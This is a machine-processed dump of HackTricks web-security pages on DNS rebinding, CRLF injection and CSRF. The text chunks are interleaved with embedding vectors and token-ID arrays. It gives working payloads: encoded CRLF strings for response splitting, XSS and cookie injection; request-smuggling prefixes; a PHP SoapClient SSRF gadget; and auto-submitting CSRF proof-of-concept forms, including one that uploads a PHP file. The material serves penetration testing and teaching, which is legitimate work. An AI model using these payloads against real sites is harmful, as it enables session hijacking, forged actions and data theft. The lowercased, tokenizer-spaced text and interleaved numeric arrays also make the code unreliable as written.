sent it. we could solve this in an alternative way that still involves someone else making the request for you, but this time, instead of using passing on your request, the server makes its own request, but with whatever parameters you specified. iframe + popup bypassyou can bypass cors checks such as e. origin = = = window. origin by creating an iframe and from it opening a new window. more information in the following page : iframes in xss, csp and sopdns rebinding via ttlbasically you make the victim access your page, then you change the dns of your domain ( the ip ) and make it points to your victims web page. you make your victim execute ( js ) something when the ttl is over so a new dns request will be made and then you will be able to gather the information ( as you will always maintains the user in your domain, he won't send any cookie to the victim server, so this options abuses the special privileges of the
[ 0.19592952728271484, -0.5875937938690186, -0.22555916011333466, 0.2625589072704315, -0.5071975588798523, -0.3783904016017914, 0.11584638059139252, 0.3588986098766327, 0.709428608417511, 0.8347107172012329, 0.18007205426692963, 0.06555140018463135, 0.5301603078842163, -0.10531198978424072, ...
[ 3691, 2592, 2066, 16324, 2024, 2109, 2005, 27280, 1012, 1996, 16324, 2024, 2443, 2043, 17942, 1037, 7692, 2013, 1037, 2367, 3677, 1012, 20934, 14536, 28880, 2063, 13354, 2378, 1024, 24471, 2140, 2062, 2055, 1996, 4487, 7959, 19699, 4765, 41...
hack_tricks
150.txt
7
ip of the victim ). even if you set the ttl very low ( 0 or 1 ) browsers have a cache that will prevent you from abusing this for several seconds / minuted. so, this technique is useful to bypass explicit checks ( the victim is explicitly performing a dns request to check the ip of the domain and when the bot is called he will do his own ). or when you can have a user / bot in the same page for a long time ( so you can wait until the cache expires ). if you need something quick to abuse this you can use a service like url you want to run your own dns rebinding server you can use something like dnsrebinder, then expose your local port 53 / udp, create an a registry pointing to it ( ns. example. com ), and create a ns registry pointing to the previously created a subdomain ( ns. example. com ). then, any subdomain of that subdomain ( ns. example. com ), will be resolved by your host. check out also the publicly running server in url rebinding via dns cache floodingas it was explained in the previous section, browsers have the ips of domains cached more time than the one specified in the ttl. however, there is a way to bypass this defence. you can have a service worker that will flood the dns cache to force a second dns request. so the flow will be like : 1. dns request responded with attacker address2. service worker floods dns cache ( the cached attacker server name is deleted ) 3. second dns request this time responded with 127. 0. 0. 1blue is the first dns request and orange is the flood. dns rebinding via cacheas it was explained in the previous section, browsers have the ips of domains cached more time than the one specified in the ttl. however, there is another way to bypass this defence. you can create 2 a records ( or 1 with 2 ips, depending on the provider ) for the same subdomain in the dns provider and when a browser checks for them he will get both. now, if the browser decides to use the attacker ip address first, the attacker will be able to serve the payload that will perform http requests to the same domain. however, now that the attacker knows the ip of the victim, he will stop answering the victim browser. when
[ 0.08033150434494019, -0.33832088112831116, -0.4740154445171356, 0.4671449363231659, -0.5502598285675049, -0.47732600569725037, -0.6847838163375854, -0.37624436616897583, 0.32921621203422546, 0.5819595456123352, -0.21878519654273987, -0.49372878670692444, 0.22617186605930328, -0.51281231641...
[ 12997, 1997, 1996, 6778, 1007, 1012, 2130, 2065, 2017, 2275, 1996, 23746, 2140, 2200, 2659, 1006, 1014, 2030, 1015, 1007, 16602, 2015, 2031, 1037, 17053, 2008, 2097, 4652, 2017, 2013, 8273, 7741, 2023, 2005, 2195, 3823, 1013, 3371, 2094, ...
hack_tricks
150.txt
8
the browser finds that the domain isn't responding to him, it will use the second given ip, so he will access a different place bypassing sop. the attacker can abuse that to get the information and exfiltrate it. note that in order to access localhost you should try to rebind 127. 0. 0. 1 in windows and 0. 0. 0. 0 in linux. providers such as godaddy or cloudflare didn't allow me to use the ip 0. 0. 0. 0, but aws route53 allowed me to create one a record with 2 ips being one of them " 0. 0. 0. 0 " for more info you can check url common bypassesif internal ips aren't allowed, they might forgot forbidding 0. 0. 0. 0 ( works on linux and mac ) if internal ips aren't allowed, respond with a cname to localhost ( works on linux and maif internal ips aren't allowed as dns responses, you can respond cnames to internal services such as www. corporate. internal. dns rebidding weaponizedyou can find more information about the previous bypass techniques and how to use the following tool in the talk gerald doussot - state of dns rebinding attacks & singularity of origin - def con 27 conference. singularity of origin is a tool to perform dns rebinding attacks. it includes the necessary components to rebind the ip address of the attack server dns name to the target machine's ip address and to serve attack payloads to exploit vulnerable software on the target machine. real protection against dns rebindinguse tls in internal servicesrequest authentication to access datavalidate the host headerhttps : / / wicg. github. io / private - network - access / : proposal to always send a pre - flight request when public servers want to access internal serverstoolsfuzz possible misconfigurations in cors policieshttps : / / github. com / chenjj / corscannerhttps : / / github. com / lc / theftfuzzerhttps : / / github. com / s0md3v / corsyhttps : / / github. com / shivangx01b / corsme [SEP]
[ -0.23343363404273987, -0.5037052035331726, -0.21623851358890533, 0.21382282674312592, -0.40465062856674194, -0.43161889910697937, -0.37763792276382446, 0.42304664850234985, 0.29637396335601807, 1.2977509498596191, 0.0005152028752490878, -0.06751129776239395, 0.32362017035484314, -0.4220683...
[ 1996, 16602, 4858, 2008, 1996, 5884, 3475, 1005, 1056, 14120, 2000, 2032, 1010, 2009, 2097, 2224, 1996, 2117, 2445, 12997, 1010, 2061, 2002, 2097, 3229, 1037, 2367, 2173, 11826, 2075, 2061, 2361, 1012, 1996, 17346, 2064, 6905, 2008, 2000, ...
hack_tricks
150.txt
9
[CLS] crlf ( % 0d % 0a ) injectionif you are interested in hacking career and hack the unhackable - we are hiring! ( fluent polish written and spoken required ). careers | stmcyber. com | penetration testingstmcyber. comwhat is crlf? when a browser sends a request to a web server, the web server answers back with a response containing both the http response headers and the actual website content, i. e. the response body. the http headers and the html response ( the website content ) are separated by a specific combination of special characters, namely a carriage return and a line feed. for short they are also known as crlf. the web server uses the crlf to understand when new http header begins and another one ends. the crlf can also tell a web application or user that a new line begins in a file or in a text block. the crlf characters are a standard http / 1. 1 message, so it is used by any type of web server, including apache, microsoft iis and all others. from url is the crlf injection vulnerability? in a crlf injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. as such the crlf sequences are not malicious characters, however they can be used for malicious intend, for http response splitting etc. crlf injection in web applicationsin web applications a crlf injection can have severe impacts, depending on what the application does with single items. impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. in fact a crlf injection attack can have very serious repercussions on a web application, even though it was never listed in the owasp top 10 list. for example it is also possible to manipulate log files in an admin panel as explained in the below example. an example of crlf injection in a log fileimagine a log file in an admin panel with the output stream pattern of ip - time - visited path, such as the below : 123. 123. 123. 123 - 08 : 15 - / index. php? page = homeif an attacker is able to inject the crlf characters into the http request he is able to change the output stream and fake the log entries. he can change the response from the webs application to something like
[ -0.5014297962188721, -0.2202581763267517, -0.5044934749603271, 0.10143696516752243, -0.5966522693634033, -0.06931617110967636, -0.4917658269405365, 0.533302903175354, 0.6726261973381042, 1.0640904903411865, 0.08762571960687637, 0.5859442353248596, 0.1376616656780243, -0.43307581543922424, ...
[ 101, 13675, 10270, 1006, 1003, 1014, 2094, 1003, 1014, 2050, 1007, 13341, 10128, 2017, 2024, 4699, 1999, 23707, 2476, 1998, 20578, 1996, 4895, 3270, 3600, 3085, 1011, 2057, 2024, 14763, 999, 1006, 19376, 3907, 2517, 1998, 5287, 3223, 1007, ...
hack_tricks
151.txt
0
the below : / index. php? page = home & % 0d % 0a127. 0. 0. 1 - 08 : 15 - / index. php? page = home & restrictedaction = editthe % 0d and % 0a are the url encoded forms of cr and lf. therefore the log entries would look like this after the attacker inserted those characters and the application displays it : ip - time - visited path123. 123. 123. 123 - 08 : 15 - / index. php? page = home & 127. 0. 0. 1 - 08 : 15 - / index. php? page = home & restrictedaction = edittherefore by exploiting a crlf injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. the attacker is literally doing page hijacking and modifying the response. for example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin. the problem is that if the administrator notices that an unknown ip used the restrictedaction parameter, will notice that something is wrong. however, since now it looks like the command was issued by the localhost ( and therefore probably by someone who has access to the server, like an admin ) it does not look suspicious. the whole part of the query beginning with % 0d % 0a will be handled by the server as one parameter. after that there is another & with the parameter restricted action which will be parsed by the server as another parameter. effectively this would be the same query as : / index. php? page = home & restrictedaction = edithttp response splittingdescriptionsince the header of a http response and its body are separated by crlf characters an attacker can try to inject those. a combination of crlfcrlf will tell the browser that the header ends and the body begins. that means that he is now able to write data inside the response body where the html code is stored. this can lead to a cross - site scripting vulnerability. an example of http response splitting leading to xssimagine an application that sets a custom header, for example : x - your - name : bobthe value of the header is set via a get parameter called " name ". if no url encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of
[ -0.010674295015633106, 0.02001114934682846, -0.3369414806365967, 0.41173169016838074, -0.12472589313983917, 0.044833339750766754, 0.0482843816280365, 0.49358195066452026, 0.39707255363464355, 1.1454880237579346, 0.40543365478515625, 0.28910475969314575, 0.4134991466999054, -0.6809046864509...
[ 1996, 2917, 1024, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2188, 1004, 1003, 1014, 2094, 1003, 1014, 27717, 22907, 1012, 1014, 1012, 1014, 1012, 1015, 1011, 5511, 1024, 2321, 1011, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2188, 1004, ...
hack_tricks
151.txt
1
crlfcrlf to tell the browser that the request body begins. that way he is able to insert data such as xss payload, for example :? name = bob % 0d % 0a % 0d % 0a < script > alert ( document. domain ) < / script > the above will display an alert window in the context of the attacked domain. an example of http response splitting leading to redirect # bugbounty β€” exploiting crlf injection can lands into a nice bountymediumbrowser to : / % 0d % 0alocation : % 20http : / / myweb. comand the server responses with the header : location : url example : ( from url url pathyou can send the payload inside the url path to control the response from the server : http : / / stagecafrstore. starbucks. com / % 3f % 0d % 0alocation : % 0d % 0acontent - type : text / html % 0d % 0ax - xss - protection % 3a0 % 0d % 0a % 0d % 0a % 3cscript % 3ealert % 28document. domain % 29 % 3c / script % 3ehttp : / / stagecafrstore. starbucks. com / % 3f % 0d % 0alocation : / / x : 1 % 0d % 0acontent - type : text / html % 0d % 0ax - xss - protection % 3a0 % 0d % 0a % 0d % 0a % 3cscript % 3ealert ( document. domain ) % 3c / script % 3ebugbounty - cheatsheet / crlf. md at master Β· edoverflow / bugbounty - cheatsheetgithubhttp header injectiondescriptionby exploiting a crlf injection an attacker can also insert http headers which could be used to defeat security mechanisms such as a browser's xss filter or the same - origin - policy. this allows the attacker to gain sensitive information like csrf tokens. he can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable cross - site scripting ( xss ) vulnerabilities. an example of http header injection to extract sensitive dataif an attacker is able to inject the http headers that activate co
[ -0.4052838981151581, -0.08160564303398132, -0.263255774974823, 0.05084240809082985, -0.6419272422790527, 0.19723594188690186, -0.6975583434104919, 0.27923262119293213, 0.6400928497314453, 0.7966905832290649, 0.21875625848770142, 0.1160820946097374, 0.3673637807369232, -0.1856304109096527, ...
[ 13675, 10270, 26775, 10270, 2000, 2425, 1996, 16602, 2008, 1996, 5227, 2303, 4269, 1012, 2008, 2126, 2002, 2003, 2583, 2000, 19274, 2951, 2107, 2004, 1060, 4757, 18093, 1010, 2005, 2742, 1024, 1029, 2171, 1027, 3960, 1003, 1014, 2094, 1003,...
hack_tricks
151.txt
2
##rs ( cross origin resource sharing ), he can use javascript to access resources that are otherwise protected by sop ( same origin policy ) which prevents sites from different origins to access each other. new http request in ssrfabusing crlf injection you can craft a new http request and inject it. a good example can be done using the soapclient deserialization gadget from in php. this class is vulnerable to crlf inside the user _ agent parameter allowing to insert new headers and body content. however, you can even be able to abuse this vulnerability to inject a new http request : $ target ='http : / / 127. 0. 0. 1 : 9090 / test'; $ post _ string ='variable = post value'; $ crlf = array ('post / proxy http / 1. 1 ','host : local. host. htb ','cookie : phpsessid = [ phpsessid ] ','content - type : application / x - www - form - urlencoded ','content - length : '. ( string ) strlen ( $ post _ string ), " \ r \ n ", $ post _ string ) ; $ client = new soapclient ( null, array ('uri'= > $ target,'location'= > $ target,'user _ agent'= > " ign \ r \ n \ r \ n ". join ( " \ r \ n ", $ crlf ) ) ) ; # put a nc listening in port 9090 $ client - > _ _ soapcall ( " test ", [ ] ) ; header injection to request smugglingyou can inject essential headers to ensure the back - end keeps the connection open after responding to the initial request : get / % 20http / 1. 1 % 0d % 0ahost : % 20redacted. net % 0d % 0aconnection : % 20keep - alive % 0d % 0a % 0d % 0a http / 1. 1then, specify a second request. here you have a classic request smuggling * * * * with extra headers / body appended by the server after the injection. here's two of the many options for cross - user exploitation. specifying a malicious prefix to poison either the next user's request, or a web cache : get / % 20http / 1. 1 % 0
[ 0.449834406375885, -0.24144136905670166, -0.5844074487686157, 0.6243003606796265, -0.20362022519111633, -0.15381976962089539, -0.8987234234809875, -0.096859410405159, 0.4616839587688446, 0.9164621829986572, 0.23674243688583374, 0.0802634134888649, 0.7626144289970398, -0.6209807395935059, ...
[ 2869, 1006, 2892, 4761, 7692, 6631, 1007, 1010, 2002, 2064, 2224, 9262, 22483, 2000, 3229, 4219, 2008, 2024, 4728, 5123, 2011, 2061, 2361, 1006, 2168, 4761, 3343, 1007, 2029, 16263, 4573, 2013, 2367, 7321, 2000, 3229, 2169, 2060, 1012, 20...
hack_tricks
151.txt
3
##d % 0ahost : % 20redacted. net % 0d % 0aconnection : % 20keep - alive % 0d % 0a % 0d % 0aget % 20 / redirplz % 20http / 1. 1 % 0d % 0ahost : % 20oastify. com % 0d % 0a % 0d % 0acontent - length : % 2050 % 0d % 0a % 0d % 0a http / 1. 1or crafting our prefix to combine with the trailing junk and create a complete second request in order to trigger response queue poisoning. get / % 20http / 1. 1 % 0d % 0ahost : % 20redacted. net % 0d % 0aconnection : % 20keep - alive % 0d % 0a % 0d % 0aget % 20 / % 20http / 1. 1 % 0d % 0afoo : % 20bar http / 1. 1for more info about this technique and potential problems check the original source. memcache injectionmemcache is a key - value store that uses a clear text protocol. more info in : 11211 - pentesting memcacheif a plarform is taking data from an http request and using it without sanitizing it to perform requests to a memcache server, an attacker could abuse this behaviour to inject new memcache commands. for example, in the original discovered vuln, cache keys were used to return the ip and port a user shuold connect to, and attackers were able to inject memcache comands that would poison the cache to send the vistims details ( usrnames and passwords included ) to the attacker servers : moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know : for the full information read the original writeup * * * * impacts of the crlf injection vulnerabilitythe impact of crlf injections vary and also include all the impacts of cross - site scripting to information disclosure. it can also deactivate certain security restrictions like xss filters and the same origin policy in the victim's browsers, leaving them susceptible to malicious attacks. how to prevent crlf / http header injections in web applicationsthe best prevention technique is to not use users input directly inside response headers. if that
[ 0.21693074703216553, -0.15170618891716003, -0.7544829249382019, 0.732226550579071, -0.671169638633728, -0.2782370150089264, -0.6850254535675049, 0.5846083164215088, 0.6007944941520691, 0.8675474524497986, 0.17752130329608917, 0.5713664293289185, 0.4638060927391052, -0.3836791217327118, -...
[ 2094, 1003, 1014, 4430, 14122, 1024, 1003, 2322, 5596, 18908, 2098, 1012, 5658, 1003, 1014, 2094, 1003, 1014, 22684, 10087, 7542, 1024, 1003, 2322, 20553, 2361, 1011, 4142, 1003, 1014, 2094, 1003, 1014, 2050, 1003, 1014, 2094, 1003, 1014, ...
hack_tricks
151.txt
4
is not possible, you should always use a function to encode the crlf special characters. another good web application security best practise is to update your programming language to a version that does not allow cr and lf to be injected inside functions that set http headers. cheatsheet1. http response splitting β€’ / % 0d % 0aset - cookie : mycookie = myvalue ( check if the response is setting this cookie ) 2. crlf chained with open redirect β€’ / / www. google. com / % 2f % 2e % 2e % 0d % 0aheader - test : test2 β€’ / www. google. com / % 2e % 2e % 2f % 0d % 0aheader - test : test2 β€’ / google. com / % 2f.. % 0d % 0aheader - test : test2 β€’ / % 0d % 0alocation : % 20http : / / example. com3. crlf injection to xss β€’ / % 0d % 0acontent - length : 35 % 0d % 0ax - xss - protection : 0 % 0d % 0a % 0d % 0a23 β€’ / % 3f % 0d % 0alocation : % 0d % 0acontent - type : text / html % 0d % 0ax - xss - protection % 3a0 % 0d % 0a % 0d % 0a % 3cscript % 3ealert % 28document. domain % 29 % 3c / script % 3e4. filter bypass β€’ % e5 % 98 % 8a = % 0a = \ u560a β€’ % e5 % 98 % 8d = % 0d = \ u560d β€’ % e5 % 98 % be = % 3e = \ u563e ( > ) β€’ % e5 % 98 % bc = % 3c = \ u563c ( < ) β€’ payload = % e5 % 98 % 8a % e5 % 98 % 8dset - cookie : % 20testtoolgithub - dwisiswant0 / crlfuzz : a fast tool to scan crlf vulnerability written in gogithubbrute - force detection listauto _ wordlists / crlf. txt at main Β· carlospolop / auto _ wordlistsgithub [SEP]
[ -0.05355975776910782, -0.11750660091638565, 0.38987478613853455, 0.3754318654537201, -0.40642455220222473, -0.2094690203666687, -0.07743194699287415, 0.4513140618801117, 0.32231414318084717, 0.5577739477157593, 0.487068772315979, 0.7818090319633484, 0.7078830003738403, -0.16844642162322998...
[ 2003, 2025, 2825, 1010, 2017, 2323, 2467, 2224, 1037, 3853, 2000, 4372, 16044, 1996, 13675, 10270, 2569, 3494, 1012, 2178, 2204, 4773, 4646, 3036, 2190, 10975, 18908, 5562, 2003, 2000, 10651, 2115, 4730, 2653, 2000, 1037, 2544, 2008, 2515, ...
hack_tricks
151.txt
5
[CLS] csrf ( cross site request forgery ) hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofwhat is csrf? cross - site request forgery ( also known as csrf ) is a web security vulnerability that allows an attacker to induce users to perform actions that they don't intend to perform. this is done by making a logged in user in the victim platform access an attacker controlled website and from there execute malicious js code, send forms or retrieve " images " to the victims account. requisitesin order to be able to abuse a csrf vulnerability you first need to find a relevant action to abuse ( change password or email, make the victim follow you on a social network, give you more privileges... ). the session must rely only on cookies or http basic authentication header, any other header can't be used to handle the session. an finally, there shouldn't be unpredictable parameters on the request. several counter - measures could be in place to avoid this vulnerability. common defensessamesite cookies : if the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites. cross - origin resource sharing : depending on which kind of http request you need to perform to abuse the relevant action, you may take int account the cors policy of the victim site. note that the cors policy won't affect if you just want to send a get request or a post request from a form and you don't need to read the response. ask for the password user to authorise the action. resolve a captcharead the referrer or origin headers. if a regex is used it could be bypassed form example with : http : / / mal. net? orig = http : / / example. com ( ends with the url ) http : / / example. com. mal. net ( starts with the url ) modify the name of the parameters of the post or get requestuse a csrf token in each session. this token has to be send inside the request to confirm the action. this token could be protected with cors. csrf mapdefences bypassfrom post to getmaybe the form you want to abuse is prepared to send a post request with a csrf token but, you should check if a get is also valid and if when you send a get request the csrf token is still being validated. lack of tokensome applications correctly validate
[ 0.1165037527680397, -0.5613991022109985, -0.04857613518834114, 0.44315019249916077, -0.6472297310829163, -0.3106853663921356, -0.3176509439945221, 0.39239609241485596, 0.3054365813732147, 0.7170870900154114, -0.011616647243499756, -0.234128937125206, 0.1741519272327423, -0.5967499017715454...
[ 101, 20116, 12881, 1006, 2892, 2609, 5227, 15681, 2854, 1007, 20578, 2368, 18907, 2003, 2188, 2000, 2035, 19888, 2080, 11829, 8945, 16671, 3111, 1012, 2131, 14610, 2302, 14350, 20578, 2368, 18907, 2860, 12707, 2003, 20116, 12881, 1029, 2892, ...
hack_tricks
152.txt
0
the token when it is present but skip the validation if the token is omitted. in this situation, the attacker can remove the entire parameter containing the token ( not just its value ) to bypass the validation and deliver a csrf attack. csrf token is not tied to the user sessionsome applications don't validate that the token belongs to the same session as the user who is making the request. instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool. in this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their csrf attack. method bypassif the request is using a " weird " method, check if the method override functionality is working. for example, if it's using a put method you can try to use a post method and send : url could also works sending the _ method parameter inside the a post request or using the headers : x - http - methodx - http - method - overridex - method - overridecustom header token bypassif the request is adding a custom header with a token to the request as csrf protection method, then : test the request without the customized token and also header. test the request with exact same length but different token. csrf token is verified by a cookiein a further variation on the preceding vulnerability, some applications duplicate each token within a cookie and a request parameter. or the set a csrf cookie and the checks in the backend if the csrf token sent is the one related with the cookie. when the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value stored by the cookie. in this situation, the attacker can again perform a csrf attack if the web site contains any vulnerability what would allow him to set his csrf cookie to the victim like a crlf. in this case you can set the cookie trying to load a fake image and then launch the csrf attack like in this example : < html > <! - - csrf poc - generated by burp suite professional - - > < body > < script > history. pushstate ('','','/') < / script > < form action = " https : / / ac4e1f591f895b02c0ee1ee3001800d4. web -
[ -0.15526360273361206, -0.24876278638839722, -0.38169214129447937, 0.8621201515197754, -0.46836769580841064, 0.08456391841173172, 0.25565817952156067, 0.3345961570739746, 0.4342942237854004, 1.5632835626602173, 0.5733507871627808, 0.1010674387216568, 0.10239753127098083, -0.3539880216121673...
[ 1996, 19204, 2043, 2009, 2003, 2556, 2021, 13558, 1996, 27354, 2065, 1996, 19204, 2003, 16647, 1012, 1999, 2023, 3663, 1010, 1996, 17346, 2064, 6366, 1996, 2972, 16381, 4820, 1996, 19204, 1006, 2025, 2074, 2049, 3643, 1007, 2000, 11826, 199...
hack_tricks
152.txt
1
security - academy. net / my - account / change - email " method = " post " > < input type = " hidden " name = " email " value = " asd & # 64 ; asd & # 46 ; asd " / > < input type = " hidden " name = " csrf " value = " tzqzzq1tipj8kfno4foaawq7usyzdk8e " / > < input type = " submit " value = " submit request " / > < / form > < img src = " https : / / ac4e1f591f895b02c0ee1ee3001800d4. web - security - academy. net /? search = term % 0d % 0aset - cookie : % 20csrf = tzqzzq1tipj8kfno4foaawq7usyzdk8e " onerror = " document. forms [ 0 ]. submit ( ) ; " / > < / body > < / html > note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself. content - type changeaccording to this, in order to avoid preflight requests using post method these are the allowed content - type values : application / x - www - form - urlencodedmultipart / form - datatext / plainhowever, note that the severs logic may vary depending on the content - type used so you should try the values mentioned and others like application / json, text / xml, application / xml. example ( from here ) of sending json data as text / plain : < html > < body > < form id = " form " method = " post " action = " https : / / phpme. be. ax / " enctype = " text / plain " > < input name ='{ " garbageeeee " : "'value ='", " yep " : " yep yep yep ", " url " : " https : / / webhook / " }'> < / form > < script > form. submit ( ) ; < / script > < / body > < / html > application / json preflight request bypassas you already know, you cannot sent a post request with the content
[ 0.1179131343960762, -0.6830491423606873, -0.04826963320374489, 0.29693543910980225, -0.6272493600845337, -0.14191679656505585, -0.20308703184127808, 0.6339278817176819, 0.39259231090545654, 0.9547990560531616, 0.2640675902366638, 0.0030958668794482946, 0.44847315549850464, -0.2003961056470...
[ 3036, 1011, 2914, 1012, 5658, 1013, 2026, 1011, 4070, 1013, 2689, 1011, 10373, 1000, 4118, 1027, 1000, 2695, 1000, 1028, 1026, 7953, 2828, 1027, 1000, 5023, 1000, 2171, 1027, 1000, 10373, 1000, 3643, 1027, 1000, 2004, 2094, 1004, 1001, 41...
hack_tricks
152.txt
2
- type application / json via html form, and if you try to do so via xmlhttprequest a preflight request is sent first. however, you could try to send the json data using the content types * * text / plain and application / x - www - form - urlencoded * * just to check if the backend is using the data independently of the content - type. you can send a form using content - type : text / plain setting enctype = " text / plain " if the server is only accepting the content type " application / json ", you can send the content type " text / plain ; application / json " without triggering a preflight request. you could also try to bypass this restriction by using a swf flash file. more more information read this post. referrer / origin check bypassavoid referrer headersome applications validate the referer header when it is present in requests but skip the validation if the header is omitted. < meta name = " referrer " content = " never " > regexp bypassesurl format bypassto set the domain name of the server in the url that the referrer is going to send inside the parameters you can do : < html > <! - - referrer policy needed to send the qury parameter in the referrer - - > < head > < meta name = " referrer " content = " unsafe - url " > < / head > < body > < script > history. pushstate ('','','/') < / script > < form action = " https : / / ac651f671e92bddac04a2b2e008f0069. web - security - academy. net / my - account / change - email " method = " post " > < input type = " hidden " name = " email " value = " asd & # 64 ; asd & # 46 ; asd " / > < input type = " submit " value = " submit request " / > < / form > < script > / / you need to set this or the domain won't appear in the query of the referer header history. pushstate ( " ", " ", "? ac651f671e92bddac04a2b2e008f0069. web - security - academy. net " )
[ 0.15279345214366913, -0.2967093586921692, -0.3456808924674988, 0.04884764552116394, -0.9913315773010254, 0.13390213251113892, 0.048415862023830414, 0.3205902576446533, 0.4790983200073242, 0.8186138272285461, -0.22901013493537903, 0.24915342032909393, 0.09003613889217377, -0.102064445614814...
[ 1011, 2828, 4646, 1013, 1046, 3385, 3081, 16129, 2433, 1010, 1998, 2065, 2017, 3046, 2000, 2079, 2061, 3081, 20950, 11039, 25856, 2890, 15500, 1037, 3653, 28968, 5227, 2003, 2741, 2034, 1012, 2174, 1010, 2017, 2071, 3046, 2000, 4604, 1996, ...
hack_tricks
152.txt
3
document. forms [ 0 ]. submit ( ) ; < / script > < / body > < / html > head method bypassthe first part of this ctf writeup is explained that oak's source code, a router is set to handle head requests as get requests with no response body - a common workaround that isn't unique to oak. instead of a specific handler that deals with head reqs, they're simply given to the get handler but the app just removes the response body. therefore, if a get request is being limited, you could just send a head request that will be processed as a get request. exploit examplesexfiltrating csrf tokenif a csrf token is being used as defence you could try to exfiltrate it abusing a xss vulnerability or a dangling markup vulnerability. get using html tags < img src = " http : / / google. es? param = value " style = " display : none " / > < h1 > 404 - page not found < / h1 > the url you are requesting is no longer availableother html5 tags that can be used to automatically send a get request are : form get request < html > <! - - csrf poc - generated by burp suite professional - - > < body > < script > history. pushstate ('','','/') < / script > < form method = " get " action = " https : / / victim. net / email / change - email " > < input type = " hidden " name = " email " value = " [ email protected ] " / > < input type = " submit " value = " submit request " / > < / form > < script > document. forms [ 0 ]. submit ( ) ; < / script > < / body > < / html > form post request < html > < body > < script > history. pushstate ('','','/') < / script > < form method = " post " action = " https : / / victim. net / email / change - email " id = " csrfform " > < input type = " hidden " name = " email " value = " [ email protected ] " autofocus onfocus = " csrfform. submit ( ) ; " / > <! - - way 1 to autosubmit - - > < input type = " submit " value
[ 0.6490856409072876, -0.29106441140174866, -0.4398428797721863, 0.1896328628063202, -0.5729736089706421, -0.15458664298057556, 0.1412355750799179, 0.6304525136947632, 0.3680875897407532, 1.1068551540374756, 0.2500011920928955, 0.47143328189849854, 0.07371504604816437, -0.13049806654453278, ...
[ 6254, 1012, 3596, 1031, 1014, 1033, 1012, 12040, 1006, 1007, 1025, 1026, 1013, 5896, 1028, 1026, 1013, 2303, 1028, 1026, 1013, 16129, 1028, 2132, 4118, 11826, 10760, 2034, 2112, 1997, 2023, 14931, 2546, 4339, 6279, 2003, 4541, 2008, 6116, ...
hack_tricks
152.txt
4
= " submit request " / > < img src = x onerror = " csrfform. submit ( ) ; " / > <! - - way 2 to autosubmit - - > < / form > < script > document. forms [ 0 ]. submit ( ) ; / / way 3 to autosubmit < / script > < / body > < / html > form post request through iframe <! - - the request is sent through the iframe withuot reloading the page - - > < html > < body > < iframe style = " display : none " name = " csrfframe " > < / iframe > < form method = " post " action = " / change - email " id = " csrfform " target = " csrfframe " > < input type = " hidden " name = " email " value = " [ email protected ] " autofocus onfocus = " csrfform. submit ( ) ; " / > < input type = " submit " value = " submit request " / > < / form > < script > document. forms [ 0 ]. submit ( ) ; < / script > < / body > < / html > ajax post request < script > var xh ; if ( window. xmlhttprequest ) { / / code for ie7 +, firefox, chrome, opera, safari xh = new xmlhttprequest ( ) ; } else { / / code for ie6, ie5 xh = new activexobject ( " microsoft. xmlhttp " ) ; } xh. withcredentials = true ; xh. open ( " post ", " http : / / challenge01. root - me. org / web - client / ch22 /? action = profile " ) ; xh. setrequestheader ('content - type ','application / x - www - form - urlencoded') ; / / to send proper header info ( optional, but good to have as it may sometimes not work without this ) xh. send ( " username = abcd & status = on " ) ; < / script > < script > / / jquery version $. ajax ( { type : " post ", url : " https : / / google. com ", data : " param = value & param2 = value2 " } )
[ 0.4794731140136719, -0.22117212414741516, -0.4639729857444763, 0.7779003381729126, -0.31874099373817444, -0.13636644184589386, -0.46936163306236267, 0.45858877897262573, 0.48987749218940735, 0.8943005800247192, 0.14374610781669617, 0.30857953429222107, 0.4703161120414734, -0.13033562898635...
[ 1027, 1000, 12040, 5227, 1000, 1013, 1028, 1026, 10047, 2290, 5034, 2278, 1027, 1060, 2028, 18933, 2099, 1027, 1000, 20116, 12881, 14192, 1012, 12040, 1006, 1007, 1025, 1000, 1013, 1028, 1026, 999, 1011, 1011, 2126, 1016, 2000, 8285, 6342, ...
hack_tricks
152.txt
5
< / script > multipart / form - data post requestmyformdata = new formdata ( ) ; var blob = new blob ( [ " <? php phpinfo ( ) ;? > " ], { type : " text / text " } ) ; myformdata. append ( " newattachment ", blob, " pwned. php " ) ; fetch ( " http : / / example / some / path ", { method : " post ", body : myformdata, credentials : " include ", headers : { " content - type " : " application / x - www - form - urlencoded " }, mode : " no - cors " } ) ; multipart / form - data post request v2var filesize = filedata. length, boundary = " ownedbyoffsec ", xhr = new xmlhttprequest ( ) ; xhr. withcredentials = true ; xhr. open ( " post ", url, true ) ; / / mime post request. xhr. setrequestheader ( " content - type ", " multipart / form - data, boundary = " + boundary ) ; xhr. setrequestheader ( " content - length ", filesize ) ; var body = " - - " + boundary + " \ r \ n " ; body + ='content - disposition : form - data ; name = "'+ namevar +'" ; filename = "'+ filename +'" \ r \ n'; body + = " content - type : " + ctype + " \ r \ n \ r \ n " ; body + = filedata + " \ r \ n " ; body + = " - - " + boundary + " - - " ; / / xhr. send ( body ) ; xhr. sendasbinary ( body ) ; form post request from within an iframe < - -! expl. html - - > < body onload = " envia ( ) " > < form method = " post " id = " formulario " action = " http : / / aplicacion. example. com / cambia _ pwd. php " > < input type = " text " id = " pwd " name = " pwd " value = " otra nueva " > < /
[ 0.21363456547260284, -0.12286733835935593, 0.13440001010894775, 0.6188483238220215, -0.33823978900909424, -0.010377240367233753, -0.31631746888160706, 0.2589511275291443, 0.6334440112113953, 0.5006181597709656, 0.6496572494506836, 0.08019792288541794, 0.30924171209335327, -0.03087225183844...
